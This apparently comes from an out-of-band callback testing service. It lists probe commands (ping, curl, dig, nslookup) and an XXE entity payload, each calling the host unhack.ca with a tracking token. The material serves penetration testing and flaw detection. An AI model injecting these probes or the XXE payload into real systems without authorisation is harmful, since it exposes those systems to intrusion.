$ ping -c1 -p 00c42341263acfa1b63b17e0bf81b500 unhack.ca
 

$ curl http://unhack.ca/p/c42341263acfa1b63b17e0bf81b5
 

$ dig c42341263acfa1b63b17e0bf81b5 @unhack.ca
 

$ dig c42341263acfa1b63b17e0bf81b5.ns.unhack.ca
 

C:\> nslookup c42341263acfa1b63b17e0bf81b5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c42341263acfa1b63b17e0bf81b5">]>
    <foo>&xxe;</foo>